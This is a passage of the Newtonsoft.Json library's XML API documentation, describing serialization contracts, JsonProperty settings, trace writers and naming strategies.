name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/> will exclude <see cref=\"F:Newtonsoft.Json.TraceLevel.Verbose\"/> messages and include <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/>,\n            <see cref=\"F:Newtonsoft.Json.TraceLevel.Warning\"/> and <see cref=\"F:Newtonsoft.Json.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(Newtonsoft.Json.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.PropertyNameResolver\">\n            <summary>\n            Gets or sets the property name resolver.\n            </summary>\n            <value>The property name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDynamicContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/> will exclude <see cref=\"F:Newtonsoft.Json.TraceLevel.Verbose\"/> messages and include <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/>,\n            <see cref=\"F:Newtonsoft.Json.TraceLevel.Warning\"/> and <see cref=\"F:Newtonsoft.Json.TraceLevel.Error\"/> messages.\n            </summary>\n            